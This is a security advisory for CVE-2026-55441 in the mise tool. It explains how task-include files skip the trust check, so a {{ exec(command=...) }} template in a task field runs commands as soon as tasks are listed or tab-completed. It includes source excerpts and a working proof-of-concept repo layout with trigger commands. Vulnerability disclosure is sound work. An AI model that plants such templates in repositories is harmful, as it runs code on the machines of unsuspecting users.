CVE-2026-55441 — Vulnerability in mise — CVE Details

### Summary mise's trust feature gates config files (`mise.toml`, `.tool-versions`) through `trust_check`, but task-include files are loaded on a path that never reaches it. When a directory has a task-include dir (`mise-tasks/`, `.mise/tasks/`, …) but no config file, mise falls back to the default includes and renders each task's tera fields — and that tera environment has `exec()` registered. A `{{ exec(command='…') }}` in any rendered field runs arbitrary commands the moment the tasks are merely listed. There's no config file to gate on, so no trust prompt ever appears. Read-only commands trigger it: `mise tasks`, `mise task ls`, `mise run`, `mise tasks --usage` (the query shell completion runs on Tab). The victim only has to `cd` into a cloned repo and list or tab-complete a task ## Details Trust is enforced only inside config-file parsing: - `src/config/config_file/mise_toml.rs:276` — `MiseToml::from_str` → `trust_check(path)?` - `src/config/config_file/tool_versions.rs:62` — `.tool-versions` parser → `trust_check(&path)?` - `src/config/env_directive/mod.rs:681` — env templates → `trust_check(path)?` (only when the value contains template syntax) Task-include files are loaded by `load_tasks_in_dir` / `load_local_tasks_with_context`, which walk every directory from CWD up to root. For each directory, `configs_at_root` returns the parsed (trusted) configs rooted there; **if there is no config in the directory**, mise falls back to the default task-include list resolved relative to that directory and loads whatever it finds — with no trust check: `src/config/mod.rs` (`load_tasks_in_dir`, ~2586): ```rust let (includes, resolve_dir) = configs .iter() .find_map(|cf| match cf.task_config_includes() { … }) .transpose()? .unwrap_or_else(|| (default_task_includes(), dir.to_path_buf())); // no config -> default includes … for include in &includes { let paths = … expand_task_include(&resolve_dir, include); for p in paths { let mut loaded = load_tasks_includes(config, &p, dir, &task_config_dir, templates).await?; … } } ``` `default_task_includes()` (`src/config/mod.rs:1825`): ```rust vec!["mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks"] ``` `load_task_file` (`src/config/mod.rs:2645`) reads the TOML directly with no trust check and renders each task: ```rust let raw = file::read_to_string_async(path).await?; let mut tasks = toml::from_str::<Tasks>(&raw) … ; // no trust_check … resolve_task_template(&mut task, templates)?; if let Err(err) = task.render(config, &config_root).await { … } // renders tera, incl. exec() ``` `Task::render` (`src/task/mod.rs:1475`) renders many fields through tera, and the tera instance is built with `get_tera(Some(config_root))`: ```rust let mut tera = get_tera(Some(config_root)); … if contains_template_syntax(&self.description) { self.description = render_str(&mut tera, &self.description, &tera_ctx)?; } ``` `get_tera` (`src/tera.rs:407`) registers the command-executing functions: ```rust pub fn get_tera(dir: Option<&Path>) -> Tera { let mut tera = TERA.clone(); let dir = dir.map(PathBuf::from); tera.register_function("exec", tera_exec(dir.clone(), env::PRISTINE_ENV.clone())); tera.register_function("read_file", tera_read_file(dir)); tera } ``` So a tera `{{ exec(command='…') }}` placed in any rendered task field (`description`, `dir`, `shell`, `sources`, `aliases`, `depends`, `tools`, …) of a TOML task file — or in a `#MISE description="…"` header of an executable script task (`Task::from_path`) — executes when the task is merely *loaded for listing*, with no trust prompt. `exec()` is not gated by `experimental` (default `experimental = false`). ## Proof of concept Tested against the prebuilt release binary, `mise 2026.6.4 linux-x64`, with a pristine `HOME` so nothing is pre-trusted. Repo layout : ``` malicious-repo/ └── mise-tasks/ └── ci.toml ``` `mise-tasks/ci.toml`: ```toml [test] description = "{{ exec(command='id > /tmp/mise_clone_proof.txt; hostname >> /tmp/mise_clone_proof.txt') }}" run = "cargo test" ``` Trigger (any of these; a victim who has `mise activate` set up hits the last one by just pressing Tab to complete a task name): ```bash export HOME="$(mktemp -d)" # nothing pre-trusted export MISE_TRUSTED_CONFIG_PATHS="" cd malicious-repo mise tasks # or: mise task ls / mise run / mise tasks --usage ``` output: ``` test ``` and the side effect : ``` miau@linux:~$ cat /tmp/mise_clone_proof.txt uid=1000(miau) gid=1000(miau) groups=1000(miau)… linux ```